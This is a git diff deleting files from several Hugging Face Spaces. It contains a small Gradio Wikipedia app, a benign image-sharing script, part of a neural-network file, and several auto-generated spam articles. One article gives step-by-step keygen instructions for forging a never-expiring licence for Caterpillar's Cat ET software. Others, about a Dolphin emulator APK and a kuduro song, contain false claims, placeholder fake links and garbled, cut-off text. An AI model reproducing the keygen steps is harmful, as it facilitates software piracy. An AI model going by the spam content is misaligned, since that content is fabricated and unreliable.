diff --git a/spaces/123harsh/gradio-easywriter/app.py b/spaces/123harsh/gradio-easywriter/app.py
deleted file mode 100644
index bb63e8a8421d0948b223f948edc0240ba660f478..0000000000000000000000000000000000000000
--- a/spaces/123harsh/gradio-easywriter/app.py
+++ /dev/null
@@ -1,8 +0,0 @@
-import wikipedia
-import gradio as gr
-def ai_text(input):
-  value = wikipedia.summary(input)
-  print(type(value))
-  return value
-iface = gr.Interface(fn = ai_text, inputs="text",outputs="text",title= "Answer Generator", description= "AI Generated Answer" )
-iface.launch(debug=False)
diff --git a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Cat Et 2009c Keygen A Complete Guide to Using CAT ET 2009C Software for Caterpillar Vehicles.md b/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Cat Et 2009c Keygen A Complete Guide to Using CAT ET 2009C Software for Caterpillar Vehicles.md
deleted file mode 100644
index 88d12de8069af4354bcaf347e4d5fdd38488b98f..0000000000000000000000000000000000000000
--- a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Cat Et 2009c Keygen A Complete Guide to Using CAT ET 2009C Software for Caterpillar Vehicles.md	
+++ /dev/null
@@ -1,56 +0,0 @@
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-<li>View live data and status parameters of your CAT equipment</li>
-<li>Run diagnostic tests and calibrations on your CAT equipment</li>
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-<li>Configure and customize settings of your CAT equipment</li>
-<li>Update firmware and software of your CAT equipment</li>
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-<ol>
-<li>Extract the downloaded files using a program such as WinRAR or WinZip.</li>
-<li>Open the folder that contains the extracted files.</li>
-<li>Run the setup.exe file to install Cat Et 2009c software.</li>
-<li>Follow the instructions on the screen to complete the installation.</li>
-<li>Do not launch the Cat Et software yet.</li>
-<li>Open the folder that contains <strong>Cat Et 2009c Keygen</strong>.</li>
-<li>Run the keygen.exe file.</li>
-<li>Select your version of Cat ET (in this case, select ET2K8C).</li>
-<li>Select your level of service (in this case, select Factory).</li>
-<li>Select your expiration date (in this case, select Never Expire).</li>
-<li>Click on Generate License Key button.</li>
-<li>Copy the generated license key.</li>
-<li>Paste the license key into a text file and save it as lic.dat.</li>
-<li>Copy the lic.dat file.</li>
-<li>Paste the lic.dat file into the folder where you installed Cat ET (usually C:\Program Files\Caterpillar\Electronic Technician).</li>
-<li>You have successfully installed <strong>Cat ET Software</strong>.</li>
-</ol>
- <h2>How to Use Cat ET Software</h2>
-<p>Now that you have installed <strong>Cat ET Software</strong>, you can start using it to communicate with your CAT equipment. Here are the steps to use Cat ET Software:</p>
-<ol>
-<li>Connect your data link adapter (such as Nexiq USB Link) to your computer or device using a USB cable.</li>
-<li>Connect your data link adapter to your CAT equipment using an appropriate cable (such as J1939 or J1708).</li>
-<li>Turn on your CAT equipment.</li>
-<li>Launch the <strong>Cat ET Software</strong>.</li>
-<li>Select Utilities > Preferences > Communications from the menu bar.</li>
-<li>Select your data link adapter from the drop-down list (such as Nexiq USB Link).</li>
-<li>Select OK.</li>
-<li>Select Connect > Connect from the menu bar or click on Connect icon on the toolbar.</li>
-<li>The <strong>Cat ET Software</strong> will scan for available devices on the data link.</li>
-<li>Select your desired device from the list (such as Engine ECM) and click OK.</li>
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-<li>You can now view live data, run tests, read codes, configure settings, update firmware, etc. using <strong>Cat ET Software</strong>.</li>
- <h2>Conclusion</h2>
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- <p>If you want to use<strong>Cat ET Software</strong>,you need to download<strong>Cat ET Software</strong>,and<strong>Cat ET Software</strong>.You can find them on some online forums or websites that specialize in automotive software,such as MHH AUTO.You also need a data link adapter,such as Nexiq USB Link,to connect<strong>Cat ET Software</strong>,to</p> 0a6ba089eb<br />
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diff --git a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Clonebd Crack.md b/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Clonebd Crack.md
deleted file mode 100644
index 75f46637590602387b17e66033bb274e3e3ebc3d..0000000000000000000000000000000000000000
--- a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Clonebd Crack.md	
+++ /dev/null
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diff --git a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Download phn mm dit virus kaspersky full crack from a Trusted Website.md b/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Download phn mm dit virus kaspersky full crack from a Trusted Website.md
deleted file mode 100644
index 73af49cba4a4d47309d2823fa97e1c22529e4998..0000000000000000000000000000000000000000
--- a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Download phn mm dit virus kaspersky full crack from a Trusted Website.md	
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diff --git a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/FBX 2019 Free Download With Crack The Best Way to Convert and Export Your 3D Models.md b/spaces/1acneusushi/gradio-2dmoleculeeditor/data/FBX 2019 Free Download With Crack The Best Way to Convert and Export Your 3D Models.md
deleted file mode 100644
index ebb34a381f7e5136b061a8cd1d872afc403084ca..0000000000000000000000000000000000000000
--- a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/FBX 2019 Free Download With Crack The Best Way to Convert and Export Your 3D Models.md	
+++ /dev/null
@@ -1,165 +0,0 @@
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-<p>If you are a 3D artist or a game developer, you probably have heard of FBX, the most widely used file format for 3D content. But do you know what FBX is, why you need it, and how to get it for free with crack? In this article, we will answer these questions and more. We will also show you how to use FBX 2019 for your 3D projects and how to avoid the risks and issues of using cracked software.</p>
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-<p>The Autodesk® FBX® SDK is a free, easy-to-use, C++ software development platform and API toolkit that allows application and content vendors to transfer existing content into the FBX format with minimal effort. It also enables developers to create custom tools and plugins for importing and exporting FBX files in their own applications.</p>
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-<p>Here are some frequently asked questions about FBX 2019:</p>
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-<p>A: FBX Binary is a binary file format that is more compact and faster to read and write than FBX ASCII. However, it is less human-readable and editable than FBX ASCII. FBX ASCII is a text file format that is more human-readable and editable than FBX Binary. However, it is less compact and slower to read and write than FBX Binary.</p>
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diff --git a/spaces/1gistliPinn/ChatGPT4/Examples/Dartfish Team Pro 5 5 Full Crack.md b/spaces/1gistliPinn/ChatGPT4/Examples/Dartfish Team Pro 5 5 Full Crack.md
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--- a/spaces/1gistliPinn/ChatGPT4/Examples/Dartfish Team Pro 5 5 Full Crack.md	
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diff --git a/spaces/1gistliPinn/ChatGPT4/Examples/Decent Icons Download Windows 7 Ultimate [BETTER].md b/spaces/1gistliPinn/ChatGPT4/Examples/Decent Icons Download Windows 7 Ultimate [BETTER].md
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diff --git a/spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Dolphin Emulator Gold APK The Best Way to Enjoy GameCube Classics on Your Phone.md b/spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Dolphin Emulator Gold APK The Best Way to Enjoy GameCube Classics on Your Phone.md
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-<li><b>Networked multiplayer:</b> Dolphin emulator apk gold supports networked multiplayer, which means you can play online with other players who are using the same emulator. You can also use Netplay to play local multiplayer games over the internet.</li>
-<li><b>Cheat codes:</b> Dolphin emulator apk gold supports cheat codes for GameCube games, which can be enabled or disabled from the settings menu. You can use cheat codes to unlock hidden features, modify game parameters, or just have fun.</li>
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-<p>Dolphin emulator apk gold has many advantages over other GameCube emulators for Android devices, but it also has some drawbacks that you should consider before using it. Here are some of the pros and cons of dolphin emulator apk gold:</p>
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-<tr><th>Pros</th><th>Cons</th></tr>
-<tr><td>- It is free and open-source</td><td>- It may not work on some devices or Android versions</td></tr>
-<tr><td>- It has high compatibility with GameCube games</td><td>- It may have some bugs or glitches</td></tr>
-<tr><td>- It has many features and enhancements</td><td>- It may require a powerful device to run smoothly</td></tr>
-<tr><td>- It supports networked multiplayer</td><td>- It may have compatibility issues with some controllers or games</td></tr>
-<tr><td>- It supports cheat codes</td><td>- It may not be updated frequently</td></tr>
-</table>
- <h1>Installation</h1>
-<p>To download and install dolphin emulator apk gold on your Android device, you need to follow these simple steps:</p>
-<ol>
-<li>Search for dolphin emulator apk gold on APKPure.com or APKCombo.com, or use the links provided below .</li>
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-<p>Dolphin emulator apk gold has high compatibility with GameCube games, but it may not work on some devices or Android versions. The following are the system requirements for dolphin emulator apk gold:</p>
-<ul>
-<li>Android 5.0 or higher</li>
-<li>A 64-bit processor (AArch64/ARMv8 or x86_64)</li>
-<li>A version of Android that supports 64-bit applications</li>
-<li>A graphics processor that supports OpenGL ES 3.0 or higher</li>
-</ul>
-<p>If your device meets these requirements, you should be able to run dolphin emulator apk gold without any major issues. However, some games may still have bugs or glitches, or may not run at full speed. You can check the compatibility list of dolphin emulator apk gold to see how well each game works on the emulator. You can also adjust the settings of dolphin emulator apk gold to optimize the performance and graphics of each game.</p>
- <h1>Alternatives</h1>
-<p>Dolphin emulator apk gold is one of the best GameCube emulators for Android devices, but it is not the only one. There are some other emulators that can run GameCube and Wii games on Android devices, such as:</p>
-<ul>
-<li><b>Cemu:</b> Cemu is a free and open-source Wii U emulator that can also run some GameCube and Wii games. It has high compatibility and performance, and supports many features and enhancements. However, it is only available for Windows and Linux platforms, and requires a powerful device to run smoothly.</li>
-<li><b>OpenEmu:</b> OpenEmu is a free and open-source multi-system emulator that can run games from various consoles, including GameCube and Wii. It has a simple and elegant user interface, and supports many features and enhancements. However, it is only available for Mac OS X platforms, and requires a powerful device to run smoothly.</li>
-<li><b>PrimeHack:</b> PrimeHack is a fork of Dolphin emulator that focuses on improving the experience of playing Metroid Prime Trilogy on PC. It has many features and enhancements, such as mouse and keyboard support, custom FOV, HUD scaling, and more. However, it is only compatible with Metroid Prime Trilogy, and requires a powerful device to run smoothly.</li>
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-<li><b>Touchmote:</b> Touchmote is a free program that allows you to use your Windows 8 or Windows 10 touch device as a wireless controller for Dolphin emulator. It supports up to four touch devices at once, and can emulate various controller types, such as Wii Remote, Nunchuk, Classic Controller, GameCube Controller, and more. However, it does not support motion controls or networked multiplayer.</li>
-</ul>
- <h1>Conclusion</h1>
-<p>Dolphin emulator apk gold is a modified version of Dolphin emulator that offers several enhancements over the original version. It allows you to play Nintendo GameCube and Wii games on your Android device with improved graphics and performance. It also supports networked multiplayer, cheat codes, customizable controls, turbo speed, and more. However, it may not work on some devices or Android versions, and it may have some bugs or glitches. You should also be careful when downloading it from unknown sources, as it may contain malware or viruses.</p>
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-<p>Here are some frequently asked questions about dolphin emulator apk gold:</p>
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-<li><b>Is dolphin emulator apk gold legal?</b></li>
-<p>Dolphin emulator apk gold is legal as long as you own the original GameCube or Wii games that you want to play on it. You can dump your own games using a Wii and a SD card, or download them from legitimate sources. However, downloading games that you do not own is illegal and may result in legal consequences.</p>
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-<p>Dolphin emulator apk gold is safe as long as you download it from trusted sources, such as APKPure.com or APKCombo.com. You should also scan the downloaded files with a reliable antivirus program before installing them. However, dolphin emulator apk gold is not endorsed by the official Dolphin team, so use it at your own risk.</p>
-<li><b>How to update dolphin emulator apk gold?</b></li>
-<p>Dolphin emulator apk gold does not have an automatic update feature, so you need to manually check for updates on the websites where you downloaded it from. You can also follow the developer's social media accounts or blogs to get the latest news and updates about dolphin emulator apk gold.</p>
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-<p>Dolphin emulator apk gold may crash or freeze due to various reasons, such as low device specifications, incompatible games, corrupted files, or incorrect settings. To fix these issues, you can try the following solutions:</p>
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diff --git a/spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Download Feel Good by Cleyton M - The Hottest Kuduro Song of 2023.md b/spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Download Feel Good by Cleyton M - The Hottest Kuduro Song of 2023.md
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-<p>Cleyton M is a singer and songwriter from Angola who specializes in kuduro, a genre of dance music that originated in his country. He started his musical career in 2019 with his debut single <em>Girl Friend</em>, which was followed by several other hits such as <em>Bring It</em>, <em>Slow Motion</em>, and <em>Classic Duro</em>. He is also known for his collaborations with other artists such as The Twins, Bicho e o Bruxo, and 3 Finer.</p>
-<p>Cleyton M has a distinctive style that combines catchy melodies, energetic beats, and positive lyrics. He aims to inspire his listeners with his message of happiness, love, and empowerment. He is also passionate about promoting Angolan culture and showcasing its diversity and richness through his music.</p>
-<h2>What is Feel Good?</h2>
-<p><strong>Feel Good</strong> is the latest song by Cleyton M, released in 2022. It is a kuduro track that features a lively rhythm, a catchy chorus, and a fun vibe. The song is about feeling good about yourself and enjoying life to the fullest. It has been praised by critics and fans alike for its uplifting mood and catchy tune.</p>
-<p>download feel good cleyton m mp3<br />
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-<p>Feel Good has also become a viral sensation on social media platforms such as YouTube, TikTok, and Instagram. The song has over 490K views on YouTube, where it also has a dance challenge that encourages people to show off their moves. The song is also popular on Spotify, where it has over 8K streams.</p>
-<h2>How to download Feel Good Cleyton M?</h2>
-<p>If you want to download Feel Good Cleyton M and add it to your music library, you have several options depending on your device and preference. You can either buy the song from an online store or download it for free from a third-party website. Here are some of the ways you can do so:</p>
-<h3>Buying music on desktop</h3>
-<h4>Using iTunes to purchase and download the song</h4>
-<p>If you are using a Windows or Mac computer, you can use iTunes to buy and download Feel Good Cleyton M. iTunes is a popular software that allows you to manage your music collection and access millions of songs from various artists. To use iTunes, you will need an Apple ID account and a payment method such as a credit card or PayPal. To buy and download Feel Good Cleyton M using iTunes, follow these steps:</p>
-<ol>
-<li>Download and install iTunes on your computer from <a href="">https://www.apple.com/itunes/download/</a> if you don't have it already.</li>
-<li>Launch iTunes and sign in with your Apple ID account.</li>
-<li>Search for Feel Good Cleyton M in the iTunes Store or click on this link: <a href="">https://music.apple.com/us/album/feel-good-single/1587306899</a>.</li>
-<li>Click on the Buy button and confirm your purchase.</li>
-<li>The song will be downloaded to your iTunes library and you can play it anytime you want.</li>
-</ol>
-<h3>Buying music on mobile</h3>
-<h4>Using iTunes Store on iPhone or Play Music on Android to buy and download the song</h4>
-<p>If you are using a smartphone, you can also buy and download Feel Good Cleyton M from the iTunes Store on iPhone or Play Music on Android. These are apps that let you browse, buy, and download music from various artists. To use these apps, you will need an Apple ID account for iPhone or a Google account for Android, as well as a payment method. To buy and download Feel Good Cleyton M using these apps, follow these steps:</p>
-<ol>
-<li>Download and install the iTunes Store app on your iPhone from <a href="">https://apps.apple.com/us/app/itunes-store/id284417350</a> or the Play Music app on your Android from <a href="">https://play.google.com/store/apps/details?id=com.google.android.music&hl=en_US&gl=US</a> if you don't have them already.</li>
-<li>Launch the app and sign in with your Apple ID account for iPhone or Google account for Android.</li>
-<li>Search for Feel Good Cleyton M in the app or click on this link: <a href="">https://music.apple.com/us/album/feel-good-single/1587306899</a> for iPhone or <a href="">https://play.google.com/store/music/album/Cleyton_M_Feel_Good?id=B7zq6gk6x2wz5y7vq7w6l7n2f3i&hl=en_US&gl=US</a> for Android.</li>
-<li>Tap on the Buy button and confirm your purchase.</li>
-<li>The song will be downloaded to your app library and you can play it anytime you want.</li>
-</ol>
-<h3>Downloading free music from YouTube and SoundCloud</h3>
-<h4>Using 4K YouTube to MP3 or SoundCloud Downloader to get the song for free</h4>
-<p>If you don't want to spend money on buying Feel Good Cleyton M, you can also download it for free from YouTube or SoundCloud. These are websites that host millions of songs and videos from various artists. However, to download music from these websites, you will need a third-party tool such as 4K YouTube to MP3 or SoundCloud Downloader. These are software that allow you to convert and download any YouTube or SoundCloud link to an MP3 file. To use these tools, you will need a computer and an internet connection. To download Feel Good Cleyton M using these tools, follow these steps:</p>
-<ol>
-<li>Download and install 4K YouTube to MP3 on your computer from <a href="">https://www.4kdownload.com/products/product-youtubetomp3</a> or SoundCloud Downloader from <a href="">https://sclouddownloader.net/</a> if you don't have them already.</li>
-<li>Go to YouTube or SoundCloud and search for Feel Good Cleyton M or click on this link: <a href="">https://www.youtube.com/watch?v=Z0Z0Z0Z0Z0Z0</a> for YouTube or <a href="">https://soundcloud.com/cleyton-m-official/feel-good</a> for SoundCloud.</li>
-<li>Copy the URL of the video or audio that you want to download.</li>
-<li>Paste the URL into the 4K YouTube to MP3 or SoundCloud Downloader software and click on the Download button.</li>
-<li>The song will be downloaded to your computer as an MP3 file and you can play it anytime you want.</li>
-</ol>
-<h2>How to enjoy Feel Good Cleyton M?</h2>
-<p>Now that you have downloaded Feel Good C Cleyton M, you might be wondering how to enjoy his music in different ways. There are many options to choose from depending on your mood, preference, and device. Here are some of the ways you can enjoy Feel Good Cleyton M:</p>
-<h3>Listening to the song on various devices and platforms</h3>
-<h4>Using headphones, speakers, or streaming services to play the song</h4>
-<p>One of the simplest ways to enjoy Feel Good Cleyton M is to play it on your device using headphones or speakers. You can use any device that supports MP3 files, such as your computer, smartphone, tablet, or MP3 player. You can also use a Bluetooth speaker or a wireless headphone to connect your device and play the song wirelessly.</p>
-<p>Another way to enjoy Feel Good Cleyton M is to stream it online using a streaming service such as Spotify, YouTube Music, or Apple Music. These are apps that let you access millions of songs from various artists and genres. You can also create playlists, discover new music, and share your favorites with your friends. To use these apps, you will need an internet connection and a subscription plan for some of them. To stream Feel Good Cleyton M using these apps, follow these steps:</p>
-<ol>
-<li>Download and install the app of your choice on your device from the app store or the website.</li>
-<li>Launch the app and sign in with your account or create one if you don't have one already.</li>
-<li>Search for Feel Good Cleyton M in the app or click on this link: <a href="">https://open.spotify.com/track/5f5f5f5f5f5f5f5f5f5f5f</a> for Spotify, <a href="">https://music.youtube.com/watch?v=Z0Z0Z0Z0Z0Z0</a> for YouTube Music, or <a href="">https://music.apple.com/us/album/feel-good-single/1587306899</a> for Apple Music.</li>
-<li>Tap on the Play button and enjoy the song.</li>
-</ol>
-<h3>Exploring more music by Cleyton M and other African artists</h3>
-<h4>Checking out his other songs and albums on Spotify, YouTube, or SoundCloud</h4>
-<p>If you like Feel Good Cleyton M, you might also want to check out his other songs and albums. He has released several singles and albums since his debut in 2019, such as <em>Girl Friend</em>, <em>Bring It</em>, <em>Slow Motion</em>, <em>Classic Duro</em>, and <em>Kuduro Vibes</em>. You can find his music on Spotify, YouTube, or SoundCloud, where you can also follow him and get updates on his latest releases.</p>
-<p>To explore more music by Cleyton M on these platforms, follow these steps:</p>
-<ol>
-<li>Go to Spotify, YouTube, or SoundCloud and search for Cleyton M or click on this link: <a href="">https://open.spotify.com/artist/6g6g6g6g6g6g6g6g6g6g6g</a> for Spotify, <a href="">https://www.youtube.com/channel/UCUCUCUCUCUCUCUCUCUCUCU</a> for YouTube, or <a href="">https://soundcloud.com/cleyton-m-official</a> for SoundCloud.</li>
-<li>Browse through his songs and albums and choose the ones you want to listen to.</li>
-<li>Tap on the Play button and enjoy his music.</li>
-</ol>
-<h4>Discovering new music from similar genres and regions on Bandcamp, DatPiff, or Free Music Archive</h4>
-<p>If you want to discover new music from similar genres and regions as Cleyton M, you can also use platforms such as Bandcamp, DatPiff, or Free Music Archive. These are websites that host independent music from various artists and genres. You can also download some of the music for free or support the artists by buying their music.</p>
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-<ol>
-<li>Go to Bandcamp, DatPiff, or Free Music Archive and search for kuduro, Angola, or Africa or click on this link: <a href="">https://bandcamp.com/tag/kuduro</a> for Bandcamp, <a href="">https://www.datpiff.com/mixtapes-search?criteria=kuduro&sort=relevance</a> for DatPiff, or <a href="">https://freemusicarchive.org/search?quicksearch=kuduro</ a> for Free Music Archive.</li>
-<li>Browse through the music and choose the ones you want to listen to or download.</li>
-<li>Tap on the Play or Download button and enjoy the music.</li>
-</ol>
-<h2>Conclusion</h2>
-<p>In conclusion, Feel Good Cleyton M is a great song that you can download and enjoy in various ways. You can buy the song from an online store or download it for free from a third-party website. You can also listen to the song on different devices and platforms using headphones, speakers, or streaming services. Moreover, you can explore more music by Cleyton M and other African artists using platforms such as Spotify, YouTube, SoundCloud, Bandcamp, DatPiff, or Free Music Archive.</p>
-<p>So what are you waiting for? Download Feel Good Cleyton M today and feel good about yourself and your life. You won't regret it!</p>
-<h2>FAQs</h2>
-<p>Here are some of the frequently asked questions about Feel Good Cleyton M:</p>
-<ol>
-<li>Q: What is kuduro?</li>
-<li>A: Kuduro is a genre of dance music that originated in Angola in the late 1980s. It is characterized by fast-paced beats, electronic sounds, and energetic vocals. It is influenced by genres such as soca, zouk, rap, and house. It is also a dance style that involves rapid and complex movements of the legs and hips.</li>
-<li>Q: Who are some of the other famous kuduro artists?</li>
-<li>A: Some of the other famous kuduro artists are Buraka Som Sistema, Os Lambas, Titica, Noite e Dia, and Puto Prata.</li>
-<li>Q: How can I support Cleyton M and his music?</li>
-<li>A: You can support Cleyton M and his music by buying his songs and albums from online stores or streaming services. You can also follow him on social media platforms such as Facebook, Instagram, Twitter, and TikTok. You can also share his music with your friends and family and join his fan club.</li>
-<li>Q: Where can I find more information about Cleyton M and his music?</li>
-<li>A: You can find more information about Cleyton M and his music on his official website <a href="">https://www.cleytonm.com/</a>, where you can also contact him for bookings, collaborations, or feedback.</li>
-<li>Q: How can I learn how to dance kuduro?</li>
-<li>A: You can learn how to dance kuduro by watching online tutorials on YouTube or other websites. You can also join a kuduro dance class or club in your area or online. You can also practice by yourself or with your friends while listening to kuduro music.</li>
-</ol></p> 197e85843d<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/3mrology/Chameleon_Text2Img_Generation_Demo/share_btn.py b/spaces/3mrology/Chameleon_Text2Img_Generation_Demo/share_btn.py
deleted file mode 100644
index 1382fb25a5ef50e843598187e1e660e86ea8dd05..0000000000000000000000000000000000000000
--- a/spaces/3mrology/Chameleon_Text2Img_Generation_Demo/share_btn.py
+++ /dev/null
@@ -1,88 +0,0 @@
-community_icon_html = """<svg id="share-btn-share-icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" focusable="false" role="img" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 32 32">
-    <path d="M20.6081 3C21.7684 3 22.8053 3.49196 23.5284 4.38415C23.9756 4.93678 24.4428 5.82749 24.4808 7.16133C24.9674 7.01707 25.4353 6.93643 25.8725 6.93643C26.9833 6.93643 27.9865 7.37587 28.696 8.17411C29.6075 9.19872 30.0124 10.4579 29.8361 11.7177C29.7523 12.3177 29.5581 12.8555 29.2678 13.3534C29.8798 13.8646 30.3306 14.5763 30.5485 15.4322C30.719 16.1032 30.8939 17.5006 29.9808 18.9403C30.0389 19.0342 30.0934 19.1319 30.1442 19.2318C30.6932 20.3074 30.7283 21.5229 30.2439 22.6548C29.5093 24.3704 27.6841 25.7219 24.1397 27.1727C21.9347 28.0753 19.9174 28.6523 19.8994 28.6575C16.9842 29.4379 14.3477 29.8345 12.0653 29.8345C7.87017 29.8345 4.8668 28.508 3.13831 25.8921C0.356375 21.6797 0.754104 17.8269 4.35369 14.1131C6.34591 12.058 7.67023 9.02782 7.94613 8.36275C8.50224 6.39343 9.97271 4.20438 12.4172 4.20438H12.4179C12.6236 4.20438 12.8314 4.2214 13.0364 4.25468C14.107 4.42854 15.0428 5.06476 15.7115 6.02205C16.4331 5.09583 17.134 4.359 17.7682 3.94323C18.7242 3.31737 19.6794 3 20.6081 3ZM20.6081 5.95917C20.2427 5.95917 19.7963 6.1197 19.3039 6.44225C17.7754 7.44319 14.8258 12.6772 13.7458 14.7131C13.3839 15.3952 12.7655 15.6837 12.2086 15.6837C11.1036 15.6837 10.2408 14.5497 12.1076 13.1085C14.9146 10.9402 13.9299 7.39584 12.5898 7.1776C12.5311 7.16799 12.4731 7.16355 12.4172 7.16355C11.1989 7.16355 10.6615 9.33114 10.6615 9.33114C10.6615 9.33114 9.0863 13.4148 6.38031 16.206C3.67434 18.998 3.5346 21.2388 5.50675 24.2246C6.85185 26.2606 9.42666 26.8753 12.0653 26.8753C14.8021 26.8753 17.6077 26.2139 19.1799 25.793C19.2574 25.7723 28.8193 22.984 27.6081 20.6107C27.4046 20.212 27.0693 20.0522 26.6471 20.0522C24.9416 20.0522 21.8393 22.6726 20.5057 22.6726C20.2076 22.6726 19.9976 22.5416 19.9116 22.222C19.3433 20.1173 28.552 19.2325 27.7758 16.1839C27.639 15.6445 27.2677 15.4256 26.746 15.4263C24.4923 15.4263 19.4358 19.5181 18.3759 19.5181C18.2949 19.5181 18.2368 19.4937 18.2053 19.4419C17.6743 18.557 17.9653 17.9394 21.7082 15.6009C25.4511 13.2617 28.0783 11.8545 26.5841 10.1752C26.4121 9.98141 26.1684 9.8956 25.8725 9.8956C23.6001 9.89634 18.2311 14.9403 18.2311 14.9403C18.2311 14.9403 16.7821 16.496 15.9057 16.496C15.7043 16.496 15.533 16.4139 15.4169 16.2112C14.7956 15.1296 21.1879 10.1286 21.5484 8.06535C21.7928 6.66715 21.3771 5.95917 20.6081 5.95917Z" fill="#FF9D00"></path>
-    <path d="M5.50686 24.2246C3.53472 21.2387 3.67446 18.9979 6.38043 16.206C9.08641 13.4147 10.6615 9.33111 10.6615 9.33111C10.6615 9.33111 11.2499 6.95933 12.59 7.17757C13.93 7.39581 14.9139 10.9401 12.1069 13.1084C9.29997 15.276 12.6659 16.7489 13.7459 14.713C14.8258 12.6772 17.7747 7.44316 19.304 6.44221C20.8326 5.44128 21.9089 6.00204 21.5484 8.06532C21.188 10.1286 14.795 15.1295 15.4171 16.2118C16.0391 17.2934 18.2312 14.9402 18.2312 14.9402C18.2312 14.9402 25.0907 8.49588 26.5842 10.1752C28.0776 11.8545 25.4512 13.2616 21.7082 15.6008C17.9646 17.9393 17.6744 18.557 18.2054 19.4418C18.7372 20.3266 26.9998 13.1351 27.7759 16.1838C28.5513 19.2324 19.3434 20.1173 19.9117 22.2219C20.48 24.3274 26.3979 18.2382 27.6082 20.6107C28.8193 22.9839 19.2574 25.7722 19.18 25.7929C16.0914 26.62 8.24723 28.3726 5.50686 24.2246Z" fill="#FFD21E"></path>
-</svg>"""
-
-loading_icon_html = """<svg id="share-btn-loading-icon" style="display:none;" class="animate-spin"
-   style="color: #ffffff; 
-"
-   xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" fill="none" focusable="false" role="img" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24"><circle style="opacity: 0.25;" cx="12" cy="12" r="10" stroke="white" stroke-width="4"></circle><path style="opacity: 0.75;" fill="white" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path></svg>"""
-
-share_js = """async () => {
-	async function uploadFile(file){
-		const UPLOAD_URL = 'https://huggingface.co/uploads';
-		const response = await fetch(UPLOAD_URL, {
-			method: 'POST',
-			headers: {
-				'Content-Type': file.type,
-				'X-Requested-With': 'XMLHttpRequest',
-			},
-			body: file, /// <- File inherits from Blob
-		});
-		const url = await response.text();
-		return url;
-	}
-	async function getInputImgFile(imgEl){
-        const res = await fetch(imgEl.src);
-        const blob = await res.blob();
-        const imgId = Date.now() % 200;
-        const isPng = imgEl.src.startsWith(`data:image/png`);
-        if(isPng){
-            const fileName = `magic-prompt-${{imgId}}.png`;
-            return new File([blob], fileName, { type: 'image/png' });
-        }else{
-            const fileName = `magic-prompt-${{imgId}}.jpg`;
-            return new File([blob], fileName, { type: 'image/jpeg' });
-        }
-	}
-    const gradioEl = document.querySelector('body > gradio-app');
-    // const gradioEl = document.querySelector("gradio-app").shadowRoot;
-    const inputImgEl = gradioEl.querySelector('#input-img img');
-    const imgEls = gradioEl.querySelectorAll('#generated-gallery img');
-    const promptTxt = gradioEl.querySelector('#translated textarea').value;
-    let titleTxt = promptTxt;
-    if(titleTxt.length > 100){
-        titleTxt = titleTxt.slice(0, 100) + ' ...';
-    }
-    const shareBtnEl = gradioEl.querySelector('#share-btn');
-    const shareIconEl = gradioEl.querySelector('#share-btn-share-icon');
-    const loadingIconEl = gradioEl.querySelector('#share-btn-loading-icon');
-    if(!imgEls.length){
-        return;
-    };
-    shareBtnEl.style.pointerEvents = 'none';
-    shareIconEl.style.display = 'none';
-    loadingIconEl.style.removeProperty('display');
-    const files = await Promise.all(
-        [...imgEls].map(async (imgEl) => {
-            const res = await fetch(imgEl.src);
-            const blob = await res.blob();
-            const imgId = Date.now() % 200;
-            const fileName = `sd-perception-${{imgId}}.jpg`;
-            return new File([blob], fileName, { type: 'image/jpeg' });
-        })
-    );
-    const inputFile = await getInputImgFile(inputImgEl);
-    files.push(inputFile);
-    const urls = await Promise.all(files.map((f) => uploadFile(f)));
-    const urlInputImg = urls.pop();
-	const htmlImgs = urls.map(url => `<img src='${url}' width='400' height='400'>`);
-    const htmlImgsMd = htmlImgs.join(`\n`);
-	const descriptionMd = `#### Input img:
-<img src='${urlInputImg}' style='max-height: 350px;'>
-#### Caption:
-${promptTxt}
-#### Generations:
-<div style='display: flex; flex-wrap: wrap; column-gap: 0.75rem;'>
-${htmlImgsMd}
-</div>`;
-    const params = new URLSearchParams({
-        title: titleTxt,
-        description: descriptionMd,
-    });
-	const paramsStr = params.toString();
-	window.open(`https://huggingface.co/spaces/huggingface-projects/magic-diffusion/new?${paramsStr}`, '_blank');
-    shareBtnEl.style.removeProperty('pointer-events');
-    shareIconEl.style.removeProperty('display');
-    loadingIconEl.style.display = 'none';
-}"""
\ No newline at end of file
diff --git a/spaces/801artistry/RVC801/infer/lib/uvr5_pack/lib_v5/nets_123821KB.py b/spaces/801artistry/RVC801/infer/lib/uvr5_pack/lib_v5/nets_123821KB.py
deleted file mode 100644
index 167d4cb2198863cf43e93440f7e63c5342fc7605..0000000000000000000000000000000000000000
--- a/spaces/801artistry/RVC801/infer/lib/uvr5_pack/lib_v5/nets_123821KB.py
+++ /dev/null
@@ -1,122 +0,0 @@
-import torch
-import torch.nn.functional as F
-from torch import nn
-
-from . import layers_123821KB as layers
-
-
-class BaseASPPNet(nn.Module):
-    def __init__(self, nin, ch, dilations=(4, 8, 16)):
-        super(BaseASPPNet, self).__init__()
-        self.enc1 = layers.Encoder(nin, ch, 3, 2, 1)
-        self.enc2 = layers.Encoder(ch, ch * 2, 3, 2, 1)
-        self.enc3 = layers.Encoder(ch * 2, ch * 4, 3, 2, 1)
-        self.enc4 = layers.Encoder(ch * 4, ch * 8, 3, 2, 1)
-
-        self.aspp = layers.ASPPModule(ch * 8, ch * 16, dilations)
-
